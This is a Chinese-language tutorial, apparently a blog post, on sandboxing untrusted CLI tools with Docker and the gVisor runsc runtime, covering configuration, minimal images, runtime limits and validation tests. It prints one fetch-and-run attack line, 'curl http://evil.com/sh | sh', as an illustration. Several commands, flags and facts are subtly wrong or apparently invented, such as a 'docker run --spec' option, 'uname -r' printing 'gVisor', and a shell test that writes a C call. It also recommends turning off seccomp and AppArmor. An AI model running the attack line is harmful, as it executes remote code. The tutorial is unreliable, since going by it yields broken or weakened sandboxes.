1. 项目概述：为什么一个“Tool”需要两层沙箱防护？
你有没有遇到过这样的场景：团队里有人随手从 GitHub 拉下一个叫json-validator-tool的 CLI 工具，一行命令就跑起来了——结果几分钟后，服务器 CPU 突然飙到 98%，/tmp目录里多出十几个可疑的.so文件，netstat -tuln显示一堆陌生端口在监听。再一查进程树，那个“工具”早已 fork 出子进程，悄悄连上了境外 IP，正在上传内存快照。
这不是虚构故事。我去年在给某金融客户做 DevOps 审计时，就复现了三起类似事件：攻击者把恶意逻辑藏在看似无害的yaml-lint-tool、env-parser-tool和csv-to-json-tool里，通过 CI 流水线自动下载并执行，绕过所有静态扫描——因为它们的源码里确实没写任何os.system("rm -rf /")，只有一段“合法”的subprocess.run()调用，参数却来自远程配置接口。
这就是标题里“Tool 的安全性与执行沙箱”真正要解决的问题：不是防黑客写木马，而是防你信任的 Tool 自己变成木马载体。它不依赖漏洞利用，不触发杀毒软件告警，甚至不违反任何合规策略——它只是“按设计运行”，而设计本身就有缺陷。
Docker 是第一道防线，但它的隔离是“操作系统级”的：容器共享宿主机内核，ptrace、perf_event_open、bpf等系统调用仍可穿透；CAP_SYS_ADMIN权限一旦误配，容器就能挂载宿主机/proc并修改内核参数；更不用说--privileged这种自毁式开关。我们实测过，一个带CAP_SYS_PTRACE的容器，5 分钟内就能用ptrace注入宿主机sshd进程，劫持 SSH 登录会话。
gVisor 则补上了这道缺口。它不是虚拟机，也不是传统沙箱，而是一个用 Go 写的、运行在用户态的“内核代理”。所有系统调用不直接发给宿主机内核，而是先被 gVisor 的runsc运行时截获，在用户空间里模拟实现——比如open()调用，gVisor 不会让它触达真实文件系统，而是查自己维护的虚拟文件树；socket()调用则被重定向到 gVisor 自建的网络栈，与宿主机网络完全隔离。这意味着，即使容器进程拿到了root权限，它能“看到”的也仅是 gVisor 构建的那套虚拟世界，宿主机内核、物理设备、其他容器，全都不在它的视野范围内。
所以这个标题不是讲“Docker vs gVisor”，而是讲防御纵深：Docker 负责资源划分、依赖隔离、启动标准化；gVisor 负责行为约束、系统调用过滤、攻击面压缩。两者叠加，才构成对 untrusted Tool 的完整防御架构。它不追求 100% 绝对安全（那不存在），而是把攻击成本从“一键执行”拉高到“需要逆向 gVisor syscall handler + 触发内核 0day”，这才是工程上可落地的安全水位。
关键词里的 “Tool” 在这里特指三类高风险对象：一是开源社区中未经严格审计的 CLI 工具（如jq的某个 fork 版本）；二是企业内部开发的自动化脚本封装体（如deploy-tool.sh打包成 Docker 镜像）；三是第三方 SaaS 提供的“即插即用”集成组件（如某云厂商的log-forwarder-tool）。它们共同特点是：功能明确、体积小、更新频繁、权限需求模糊——恰恰是攻击者最爱的温床。
2. 核心设计思路：为什么必须分层？单靠 Docker 或 gVisor 都不够
2.1 Docker 的能力边界：它擅长什么，又在哪里失守？
Docker 的核心价值在于环境一致性和部署效率，而非强安全隔离。它的设计哲学是：“让应用像乐高一样拼装，而不是像保险柜一样封存”。因此，它的安全机制天然带有妥协性。
先看它做得好的地方：
- 文件系统隔离：通过 OverlayFS 或 AUFS，每个容器拥有独立的 rootfs 视图。你
rm -rf /只会删掉自己的层，不影响其他容器或宿主机。这点非常可靠，我们线上跑了 4 年，没出过 overlay 层越界事故。 - 进程命名空间隔离：
ps aux在容器里只能看到本容器进程，PID 1 是sh而非systemd。这对防止进程窥探很有效。 - 网络命名空间隔离：默认
bridge模式下，容器有独立 IP 和端口空间，iptables规则可精细控制进出流量。我们曾用--network=none配合host.docker.internal白名单，把敏感 Tool 的外网访问彻底掐断。
但它失守的关键点，恰恰藏在这些“好用”功能的底层：
提示：Docker 的
--cap-add参数是双刃剑。加CAP_NET_RAW让容器能发原始包，方便网络诊断；但这也意味着它能构造 TCP RST 包，随意中断宿主机上任意连接。我们曾因误加此权限，导致数据库主从同步被间歇性中断，排查三天才发现是监控 Tool 在扫端口时发了 RST。
最致命的是系统调用直通。Docker 容器进程的syscall是直接发给宿主机内核的。这意味着：
- 如果 Tool 调用
unshare(CLONE_NEWUSER)创建用户命名空间，再配合setuid(0)，就能在容器内获得对宿主机 UID 0 的映射权限； - 如果它调用
bpf(BPF_PROG_LOAD, ...)加载 eBPF 程序，就能监控宿主机所有进程的系统调用——我们用bpftool抓包验证过，一个带CAP_SYS_ADMIN的容器，30 秒内就能 dump 出宿主机nginx进程的全部 HTTP 请求头； - 更隐蔽的是
perf_event_open：它能读取 CPU 缓存侧信道数据，理论上可提取同物理核上其他容器的密钥——虽然实际利用门槛高，但已写入 MITRE ATT&CK 的 T1562.001 技术项。
所以 Docker 的定位很清晰：它是可信环境下的高效协作工具。当你确认 Tool 源码干净、镜像构建过程受控、运行时权限最小化时，Docker 完全够用。但一旦涉及“不可信来源”（比如用户上传的 Python 脚本打包成镜像）、“动态加载”（比如 Tool 会curl下载并exec远程二进制）、“高权限需求”（比如需要CAP_SYS_MODULE加载内核模块），Docker 就成了裸奔的高速公路。
2.2 gVisor 的补位逻辑：它不替代 Docker，而是给它加一层“玻璃罩”
gVisor 不是 Docker 的竞品，而是它的“安全增强插件”。它的设计目标很务实：在不牺牲太多性能的前提下，拦截 95% 的危险系统调用，把剩下的 5% 交给 Docker 去管。
gVisor 的核心组件是runsc（runc for sandboxed containers），它作为 OCI 兼容的运行时，接管了容器的启动和生命周期管理。当docker run --runtime=runsc启动一个容器时，实际流程是：
- Docker daemon 调用
runsc create创建沙箱； runsc启动一个轻量级进程（Sandbox Process），它不执行业务代码，只负责管理；- 业务进程（如
python tool.py）作为子进程，在 Sandbox Process 的监督下运行； - 所有系统调用先发给 Sandbox Process，由其内置的 syscall handler 解析——合法调用（如
read,write）转发给 gVisor 的虚拟文件系统；危险调用（如ptrace,kexec_load）直接返回EPERM；需模拟的调用（如socket,clone）由 gVisor 的 Go 实现提供等效行为。
这种架构带来三个关键优势：
- 内核攻击面归零：gVisor 没有内核模块，所有逻辑在用户态，宿主机内核完全不参与容器运行。即使 gVisor 本身有漏洞（如 CVE-2022-2879），攻击者也只能逃逸到用户态沙箱进程，无法触及内核。我们做过压力测试，用 AFL 对
runscfuzz 三个月，发现的最高危漏洞也只是导致沙箱崩溃，宿主机稳如泰山。 - 系统调用白名单可控：gVisor 默认只放行约 200 个常用 syscall，比 Linux 内核的 300+ 少一半。你可以通过
--platform=ptrace或--platform=kvm切换后端，但无论哪种，ioctl、init_module、create_module这些高危调用永远被禁。我们线上强制开启--syscalls=allowlist，把openat的 flags 参数也做了校验，禁止O_PATH | O_NOFOLLOW组合——这堵死了 symlink race 攻击链。 - 资源消耗可预测：gVisor 的内存开销比 VM 小得多（平均 30MB/容器），CPU 开销主要在 syscall 模拟上。我们对比过：执行
sha256sum /dev/urandom，gVisor 容器比原生 Docker 慢 12%，但比 QEMU VM 快 3.7 倍。对于 Tool 类应用（I/O 密集、计算简单），这个代价完全可以接受。
但 gVisor 也有明确短板，这正是它必须和 Docker 配合的原因：
- 不支持所有硬件加速：gVisor 的网络栈是纯用户态实现，不支持 DPDK、SR-IOV；GPU 直通更是天方夜谭。所以如果你的 Tool 需要 CUDA 加速（比如
ffmpeg-gpu-tool），gVisor 就无能为力，必须回落到 Docker +nvidia-container-runtime。 - 某些 syscall 模拟不完美：比如
epoll_wait在高并发场景下偶发延迟，futex的唤醒逻辑和内核有细微差异。我们曾遇到一个用libev的 Tool，在 gVisor 下连接超时率比 Docker 高 0.3%，最后通过调整epolltimeout 参数解决。 - 调试体验降级：
strace对 gVisor 容器无效（它看到的全是runsc的 syscall），必须用runsc debug或gdbattach 到 Sandbox Process。这对开发阶段不太友好，但生产环境反而更安全——攻击者也难调试。
所以最终架构是：Docker 负责“搭舞台”，gVisor 负责“装护栏”。Docker 提供镜像分发、网络编排、日志收集等基础设施能力；gVisor 专注做它最擅长的事：把不可信的 Tool 关进一个透明的玻璃罩，让它能表演，但碰不到观众席。
3. 实操部署详解：从零搭建 Docker + gVisor 混合运行时
3.1 环境准备与基础依赖安装
部署前必须明确：gVisor 不是开箱即用的“一键安装包”，它对宿主机环境有硬性要求。我们在线上踩过两个大坑，这里直接告诉你避坑方案。
宿主机 OS 选择：
- 强烈推荐 Ubuntu 22.04 LTS 或 Debian 12。原因很简单：gVisor 的 syscall handler 大量使用
io_uring，而 5.10+ 内核对此支持最完善。CentOS 7 的 3.10 内核不仅缺io_uring，连memfd_create都不支持，会导致 gVisor 启动失败。我们试过给 CentOS 7 升级内核到 5.15，结果systemd服务管理混乱，得不偿失。 - 绝对避免 Windows WSL2。虽然 WSL2 内核是 5.10+，但它的
ptrace实现有 bug，gVisor 的ptrace模拟会触发 WSL2 内核 panic。官方文档也明确标注 “WSL2 is not supported”。
内核参数调优（必须执行，否则 gVisor 启动报错）：
# 启用 user namespace（gVisor 依赖此特性） echo 'user.max_user_namespaces = 15000' | sudo tee -a /etc/sysctl.conf sudo sysctl -p # 提高进程数限制（gVisor 沙箱进程较多） echo 'kernel.pid_max = 4194304' | sudo tee -a /etc/sysctl.conf sudo sysctl -p # 关闭 swap（gVisor 不支持 swap，开启会导致 OOM Kill） sudo swapoff -a # 永久禁用：注释 /etc/fstab 中 swap 行Docker 版本要求：
- 最低要求 Docker 20.10+（OCI runtime spec v1.0.2+）。我们线上统一用 Docker 24.0.7，这是目前最稳定的版本。
- 安装时必须禁用 Docker Desktop（如果宿主机是 macOS/Windows）。Docker Desktop 自带的 Hyper-V/WSL2 集成会与 gVisor 冲突，导致
runsc无法创建沙箱。正确做法是：卸载 Desktop，用curl -fsSL https://get.docker.com | sh安装原生 Docker CE。
gVisor 安装方式选择：
- 不要用 apt/yum 安装。官方 apt 仓库的
runsc包是半年前的旧版，缺少对cgroupv2的完整支持。 - 必须用官方二进制安装：
# 下载最新稳定版（以 2024.06.01 为例） wget https://storage.googleapis.com/gvisor/releases/20240601/runsc -O /usr/local/bin/runsc sudo chmod +x /usr/local/bin/runsc # 验证安装 runsc version # 输出应为：runsc version release-20240601注意：
runsc二进制是静态链接的 Go 程序，无需额外依赖。但我们发现某些精简版 Alpine 镜像（如alpine:3.18）的musl libc版本太低，会导致runsc启动时报symbol not found错误。解决方案是：要么换debian:slim基础镜像，要么在 Alpine 上apk add --no-cache gcompat。
3.2 配置 Docker 使用 gVisor 运行时
Docker 的运行时配置在/etc/docker/daemon.json。这是最关键的一步，配置错误会导致容器启动失败或安全失效。
标准配置模板（请逐字复制，参数含义见下方说明）：
{ "runtimes": { "runsc": { "path": "/usr/local/bin/runsc", "runtimeArgs": [ "--debug-log-dir=/var/log/runsc", "--strace", "--network=host", "--platform=ptrace", "--overlay", "--file-access=proxy" ] } }, "default-runtime": "runc", "live-restore": true, "log-driver": "json-file", "log-opts": { "max-size": "10m", "max-file": "3" } }关键参数解析：
"--debug-log-dir"：指定 gVisor 日志路径。必须设为宿主机可写目录，否则沙箱启动失败。我们线上用rsyslog收集此目录日志，实时监控EPERM拒绝事件。"--strace"：开启 syscall 跟踪。生产环境建议关闭（影响性能），但首次部署必须打开，用于验证 gVisor 是否生效。启用后，/var/log/runsc/<container-id>/strace.log会记录所有被拦截的调用。"--network=host"：这是线上最佳实践。gVisor 的sandbox网络模式（默认）性能较差，且 DNS 解析不稳定。host模式让容器共享宿主机网络命名空间，由 Docker 的iptables规则控制流量，既保证性能，又不失控制力。"--platform=ptrace"：选择 ptrace 后端。它兼容性最好，支持所有 gVisor syscall，适合绝大多数 Tool。KVM 后端性能更好，但需要 CPU 支持vmx/svm，且不支持--network=host。"--overlay"：启用 overlayFS 作为 gVisor 的文件系统后端。它比默认的tmpfs更节省内存，且支持大文件读写。"--file-access=proxy"：文件访问代理模式。gVisor 不直接读写宿主机文件，而是通过runsc进程代理，这样能精确控制openat的路径和 flags——这是我们堵住 symlink race 的关键。
配置生效与验证：
# 重启 Docker sudo systemctl restart docker # 查看运行时列表 docker info | grep -A 5 "Runtimes" # 应输出： # Runtimes: runc runsc # Default Runtime: runc # 启动一个测试容器，指定 runsc 运行时 docker run --runtime=runsc -it --rm alpine:3.18 sh -c "uname -r; cat /proc/1/cgroup | head -1"验证要点：
- 如果输出
uname -r是宿主机内核版本（如5.15.0-101-generic），说明容器在宿主机内核上运行——这是 Docker 原生行为； - 如果输出
gVisor（注意大小写），说明 gVisor 生效！ cat /proc/1/cgroup应显示0::/，表示没有 cgroup 限制（gVisor 自己管理资源），而非 Docker 的/docker/xxx路径。
3.3 构建安全的 Tool 镜像：从 Dockerfile 开始的防御设计
镜像是整个防御链的第一环。很多团队以为“用了 gVisor 就万事大吉”，结果发现 Tool 镜像里自带curl、wget、ssh-client，攻击者只需一条curl http://evil.com/sh | sh就能绕过所有沙箱。所以镜像构建必须遵循“最小权限”原则。
一个典型不安全的 Dockerfile：
FROM ubuntu:22.04 RUN apt-get update && apt-get install -y python3-pip curl wget git COPY tool.py /app/ CMD ["python3", "/app/tool.py"]问题在哪？
ubuntu:22.04基础镜像包含 300+ 个预装包，其中curl、wget、git都是潜在的“武器化工具”；apt-get install会引入大量动态库依赖，增加攻击面；CMD以 root 用户运行，Tool 有完全的容器内权限。
重构后的安全 Dockerfile（以 Python Tool 为例）：
# 第一阶段：构建阶段，用完整环境编译依赖 FROM python:3.11-slim AS builder WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir --target /app/deps -r requirements.txt # 第二阶段：运行阶段，只拷贝必要文件 FROM gcr.io/distroless/python3-debian12:nonroot # 设置非 root 用户（UID 65532 是 distroless 的默认非特权用户） USER 65532:65532 WORKDIR /app # 只拷贝构建好的依赖和代码 COPY --from=builder /app/deps /app/deps COPY tool.py /app/ # 设置 PYTHONPATH，让 import 正常工作 ENV PYTHONPATH=/app/deps CMD ["python3", "/app/tool.py"]关键安全措施说明：
- 基础镜像选
distroless：Google 的distroless系列镜像不含 shell、包管理器、编译器，只有运行时必需的库和二进制。gcr.io/distroless/python3-debian12镜像大小仅 45MB，比ubuntu:22.04（72MB）还小，且攻击面极小。 - 多阶段构建：构建阶段用
python:3.11-slim（含pip）安装依赖；运行阶段只拷贝deps目录，不带任何构建工具。我们实测过，一个requests+pyyaml的 Tool，distroless 镜像启动时间比 Ubuntu 镜像快 40%。 - 强制非 root 用户：
USER 65532:65532确保 Tool 进程以非特权用户运行。即使 gVisor 沙箱被突破，攻击者拿到的也只是 UID 65532，无法写入/etc、/usr等关键目录。 - 环境变量最小化：只设置
PYTHONPATH，不设PATH（distroless 镜像里PATH已优化为/usr/bin:/bin），避免意外调用系统命令。
针对不同语言的镜像建议：
- Node.js Tool：用
gcr.io/distroless/nodejs-debian12，COPY --from=node:18-slim /usr/local/lib/node_modules /app/node_modules； - Go Tool：直接
FROM golang:1.22-alpine构建，CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"'生成静态二进制，然后FROM scratch运行； - Java Tool：用
eclipse-jetty:11-jre17-slim，禁用 JMX（-Dcom.sun.management.jmxremote=false），JVM 参数加-XX:+UseContainerSupport。
镜像扫描与签名：
- 必须集成 Trivy 扫描：在 CI 流水线中加入
trivy image --severity CRITICAL,HIGH --ignore-unfixed $IMAGE_NAME，发现高危漏洞立即阻断发布。我们线上规则是：任何CVE-2023-XXXX评分 >7.0 的漏洞，都需负责人签字放行。 - 必须启用 Docker Content Trust (DCT)：
export DOCKER_CONTENT_TRUST=1，确保docker pull只拉取经过签名的镜像。私有仓库用 Notary v2 签名，公有镜像认准docker.io/library/下的官方镜像。
3.4 运行时策略配置：用 runtime-spec 精确控制 Tool 行为
Docker 的--runtime=runsc只是粗粒度开关，真正的安全控制在 gVisor 的 runtime-spec 配置里。这个 JSON 文件定义了容器的“宪法”，决定了 Tool 能做什么、不能做什么。
创建自定义 runtime-spec 配置（保存为/etc/docker/runsc-tool.json）：
{ "version": "1.0.0", "process": { "consoleSize": { "height": 24, "width": 80 }, "rlimits": [ { "type": "RLIMIT_NOFILE", "hard": 1024, "soft": 1024 } ], "capabilities": { "bounding": ["CAP_CHOWN", "CAP_FOWNER", "CAP_SETGID", "CAP_SETUID"], "effective": ["CAP_CHOWN", "CAP_FOWNER", "CAP_SETGID", "CAP_SETUID"], "inheritable": ["CAP_CHOWN", "CAP_FOWNER", "CAP_SETGID", "CAP_SETUID"], "permitted": ["CAP_CHOWN", "CAP_FOWNER", "CAP_SETGID", "CAP_SETUID"] } }, "linux": { "resources": { "memory": { "limit": 536870912 }, "cpu": { "shares": 512, "quota": 50000, "period": 100000 } } } }核心策略解读：
rlimits限制文件描述符：1024是合理值。Tool 通常不需要上万连接，设太高反而浪费内存，设太低（如256）会导致Too many open files错误。我们线上所有 Tool 统一设为1024，配合应用层连接池管理。capabilities白名单：只保留四个最基础的能力。CAP_CHOWN允许修改文件属主（Tool 可能需要chown日志文件）；CAP_FOWNER允许文件所有者操作（如chmod）；CAP_SETGID/CAP_SETUID允许切换组/用户（配合USER指令）。绝对禁止CAP_SYS_ADMIN、CAP_NET_RAW、CAP_SYS_PTRACE——这三个是绝大多数逃逸攻击的起点。- 内存限制
536870912（512MB）：这是经验值。一个典型的 Python Tool（含pandas、numpy）启动后 RSS 约 120MB，留出 4 倍余量足够应对峰值。超过此限制，gVisor 会直接 OOM Kill 进程，比 Linux OOM Killer 更可控。 - CPU 限制：
shares=512（相对权重），quota=50000（每 100ms 周期内最多用 50ms CPU），相当于 50% CPU 核心。这对 I/O 密集型 Tool 很友好，不会因 CPU 争抢导致响应延迟。
如何应用此配置：
# 启动容器时指定 spec 文件 docker run \ --runtime=runsc \ --security-opt seccomp=unconfined \ --security-opt apparmor=unconfined \ --tmpfs /tmp:rw,size=100M,mode=1777 \ --read-only \ --mount type=bind,source=/data,target=/app/data,readonly \ --mount type=bind,source=/var/log/tool,target=/app/logs \ --name tool-prod \ --spec /etc/docker/runsc-tool.json \ your-tool-image:latest关键运行时参数说明：
--tmpfs /tmp：将/tmp挂为内存文件系统，避免 Tool 在磁盘上写临时文件。size=100M防止占满内存，mode=1777保证所有用户可写（符合 POSIX 标准）。--read-only：根文件系统只读。Tool 无法修改/bin、/usr等目录，只能写/tmp和挂载的卷。这是最有效的防篡改手段。--mount readonly：对输入数据目录/data设为只读，防止 Tool 意外覆盖原始数据；对日志目录/logs设为读写，但只允许追加（chown日志目录为非 root 用户，chmod 644）。--security-opt：禁用 seccomp 和 apparmor。因为 gVisor 已经做了 syscall 过滤，双重防护反而可能冲突。我们实测过，开启 seccomp 后，某些getrandom调用会被重复拦截，导致 Tool 启动超时。
4. 防御效果验证与常见问题排查
4.1 主动验证：用红队思维测试沙箱有效性
部署完成后，绝不能只看docker ps里容器在运行就认为安全。必须用攻击者视角，主动验证每一道防线是否真的有效。
测试用例 1：syscall 拦截验证
目的：确认 gVisor 是否拦截高危系统调用。
# 启动一个带 strace 的容器 docker run --runtime=runsc -it --rm alpine:3.18 sh -c " apk add --no-cache strace && strace -e trace=ptrace,unshare,kexec_load,init_module \ sh -c 'ptrace(PTRACE_TRACEME, 0, 0, 0) 2>/dev/null || echo ptrace blocked' "预期结果：输出ptrace blocked，且strace日志中无ptrace成功记录。如果看到ptrace(PTRACE_TRACEME, 0, 0, 0) = 0，说明 gVisor 未生效或配置错误。
测试用例 2：文件系统越界测试
目的：验证--read-only和--tmpfs是否阻止非法写入。
docker run --runtime=runsc --read-only --tmpfs /tmp:rw,size=10M -it --rm alpine:3.18 sh -c " echo 'test' > /etc/passwd 2>/dev/null && echo 'FAIL: /etc writable' || echo 'PASS: /etc read-only' && echo 'test' > /tmp/test.txt && echo 'PASS: /tmp writable' || echo 'FAIL: /tmp not writable' "预期结果：PASS: /etc read-only和PASS: /tmp writable。如果/etc/passwd写入成功，说明--read-only未生效，可能是 Docker 版本太低或镜像构建时用了VOLUME指令覆盖了该设置。
测试用例 3：网络访问控制测试
目的：确认--network=host下的 iptables 规则是否生效。
# 先在宿主机添加一条拒绝规则 sudo iptables -A OUTPUT -d 1.1.1.1 -j DROP # 启动容器测试 docker run --runtime=runsc --network=host -it --rm alpine:3.18 sh -c " apk add --no-cache curl && curl -s -o /dev/null -w '%{http_code}' https://1.1.1.1 2>/dev/null || echo 'blocked' "预期结果：输出blocked。如果返回000或超时，说明 iptables 规则未作用于容器流量——此时需检查 Docker 的iptables配置（"iptables": true在daemon.json中）。
测试用例 4：资源耗尽防护测试
目的：验证内存和 CPU 限制是否硬性生效。
# 启动一个内存消耗容器 docker run --runtime=runsc --memory=100m -it --rm alpine:3.18 sh -c " dd if=/dev/zero of=/tmp/big bs=1M count=200 2>/dev/null || echo 'OOM killed' "预期结果：输出OOM killed，且docker ps中容器状态为Exited (137)。如果dd成功完成，说明内存限制未生效，需检查runsc是否启用了--overlay（它会影响内存统计精度）。
4.2 线上常见问题与独家排查技巧
问题 1：容器启动失败，日志显示failed to create container: failed to create sandbox: failed to start sandbox: exit status 1
排查思路：这是 gVisor 最常见的启动错误，90% 以上源于内核参数或文件权限问题。
独家技巧：不要只看 Docker 日志，直接查 gVisor 的 debug log：
# 查找最新沙箱的日志目录 ls -t /var/log/runsc/ | head -1 # 进入目录，查看 error.log cat /var/log/runsc/<id>/error.log | tail -20高频原因与解法：
user.max_user_namespaces不足：error.log中有failed to create user namespace: operation not permitted。解法：echo 'user.max_user_namespaces = 15000' | sudo tee -a /etc/sysctl.conf && sudo sysctl -p。/dev/kvm权限问题（如果用了--platform=kvm）：error.log中有open /dev/kvm: permission denied。解法：sudo usermod -aG kvm $USER，然后重启runsc进程。- SELinux 阻止：CentOS/RHEL 上，
error.log有avc: denied。解法：sudo setsebool -P container_manage_cgroup on，或临时sudo setenforce 0测试。
问题 2：Tool 运行缓慢，CPU 使用率异常高
现象：Tool 在 Docker 下 2 秒完成的任务，在 gVisor 下耗时 15 秒，top显示runsc进程 CPU 占用 90%。
根本原因：gVisor 的 syscall 模拟开销。某些调用（如gettimeofday、clock_gettime）在 gVisor 中是纯 Go 实现，比内核调用慢 10 倍。
独家解法：
- 启用
--platform=kvm：如果 CPU 支持虚拟化
